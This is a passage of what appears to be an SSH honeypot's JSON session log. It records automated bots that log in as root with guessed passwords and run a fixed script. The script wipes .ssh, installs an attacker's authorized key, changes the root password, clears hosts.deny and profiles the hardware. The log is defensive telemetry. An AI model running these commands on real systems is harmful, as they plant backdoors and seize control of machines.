7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:59:09.319466+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:59:09.677446+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:59:10.431103+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:59:11.753489+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:59:12.509404+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:59:13.507049+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"c6f68bac-2808-410e-8b8f-2d45cb853f27","name":"opal-silent-fennec","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":63282,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":287,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:55:31.523076+00:00","ended_at":"2026-08-26T14:55:33.134250+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:55:04.028860+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:55:04.317050+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:55:08.249541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:55:10.085292+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:55:10.375637+00:00","kind":"input","latency_ms":null,"data":"echo \"root:POVmwhwDeAbM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:55:10.660571+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:55:10.948158+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:55:11.565473+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:55:12.876919+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:55:13.165255+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:55:14.098895+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:55:14.389836+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:55:15.216731+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:55:15.506525+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:55:17.259334+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:55:17.547742+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:55:19.675444+00:00","kind":"output","latency_ms":null,"data":" 14:55:19 up 6 days, 11:45, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:55:19.960198+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:55:20.925584+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:55:21.214278+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:55:22.837842+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:55:23.127444+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:55:24.730547+00:00","kind":"output","latency_ms":null,"data":"top - 14:55:24 up 6 days, 11:45, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:55:25.019406+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:55:26.643165+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:55:26.931095+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:55:28.041823+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:55:28.328745+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:55:30.136256+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:55:30.423668+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:55:31.233505+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:55:31.523585+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:55:33.050597+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe123@@","method":"password","accepted":true,"tier":"other"}]} {"id":"a5ea950c-51c3-4e1a-91ab-c3d39f9eae95","name":"earnest-cosmic-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":50314,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":272,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:51:34.958005+00:00","ended_at":"2026-08-26T14:51:35.881700+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:51:16.437304+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:51:16.708375+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:51:21.036466+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:51:21.309831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:51:21.581947+00:00","kind":"input","latency_ms":null,"data":"echo \"root:95Hx8R6MuYGW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:51:21.855122+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:51:22.124450+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:51:23.773367+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:51:24.045544+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:51:25.376896+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:51:25.651684+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:51:26.722236+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:51:26.995407+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:51:27.312189+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:51:27.583887+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:51:27.985863+00:00","kind":"output","latency_ms":null,"data":" 14:51:27 up 6 days, 11:41, 0 user, load average: 0.13, 0.16, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:51:28.257825+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:51:28.725631+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:51:28.997859+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:51:29.825511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:51:30.096514+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:51:30.677751+00:00","kind":"output","latency_ms":null,"data":"top - 14:51:30 up 6 days, 11:41, 0 user, load average: 0.13, 0.16, 0.15\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:51:30.951539+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:51:31.414251+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:51:31.687228+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:51:32.187020+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:51:32.457624+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:51:33.119464+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:51:33.392085+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:51:34.687578+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:51:34.958777+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:51:35.802961+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aA12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"c7314bfa-f3f5-4b8f-b033-8ec79289284e","name":"austere-sincere-brambling","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40734,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":761,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:51:09.138548+00:00","ended_at":"2026-08-26T14:51:10.441004+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:50:40.920953+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:50:41.683097+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:50:48.542197+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:50:49.270718+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:50:50.031529+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UrOXLwOuqXXr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:50:50.791080+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:50:51.553504+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:50:52.412144+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:50:53.169376+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:50:54.387386+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:50:55.151967+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:50:56.406217+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:50:57.170117+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:50:57.926378+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:50:58.687091+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:50:59.033733+00:00","kind":"output","latency_ms":null,"data":" 14:50:59 up 6 days, 11:41, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:50:59.794579+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:51:00.205579+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:51:00.970030+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:51:01.724197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:51:02.483826+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:51:02.888668+00:00","kind":"output","latency_ms":null,"data":"top - 14:51:02 up 6 days, 11:41, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:51:03.650695+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:51:04.164422+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:51:04.925356+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:51:05.622136+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:51:06.384112+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:51:06.763152+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:51:07.522843+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:51:08.377745+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:51:09.139445+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:51:10.196465+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"7895123","method":"password","accepted":true,"tier":"other"}]} {"id":"b7490650-98ab-4412-ba2f-85d20b650a71","name":"amiable-nautical-kea","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64768,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":291,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:49:39.026323+00:00","ended_at":"2026-08-26T14:49:40.174581+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:49:23.123304+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:49:23.414135+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:49:26.597140+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:49:27.083228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:49:27.374451+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Nd5Dr9pm8Frv\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:49:27.663722+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:49:27.953667+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:49:28.783517+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:49:29.073856+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:49:30.279064+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:49:30.570716+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:49:31.533665+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:49:31.827733+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:49:32.427221+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:49:32.716353+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:49:32.986861+00:00","kind":"output","latency_ms":null,"data":" 14:49:32 up 6 days, 11:39, 0 user, load average: 0.22, 0.18, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:49:33.277394+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:49:33.641144+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:49:33.931224+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:49:34.301144+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:49:34.592570+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:49:35.165892+00:00","kind":"output","latency_ms":null,"data":"top - 14:49:35 up 6 days, 11:39, 0 user, load average: 0.22, 0.18, 0.14\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:49:35.457845+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:49:36.320385+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:49:36.612388+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:49:37.007967+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:49:37.298973+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:49:37.557668+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:49:37.848839+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:49:38.734818+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:49:39.027107+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:49:40.084957+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!@#123qweASD","method":"password","accepted":true,"tier":"other"}]} {"id":"b071e9c4-ac61-4511-9399-3afd4d66dcdb","name":"proud-lively-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40731,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":748,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:48:13.256128+00:00","ended_at":"2026-08-26T14:48:14.554042+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:47:44.915226+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:47:45.661930+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 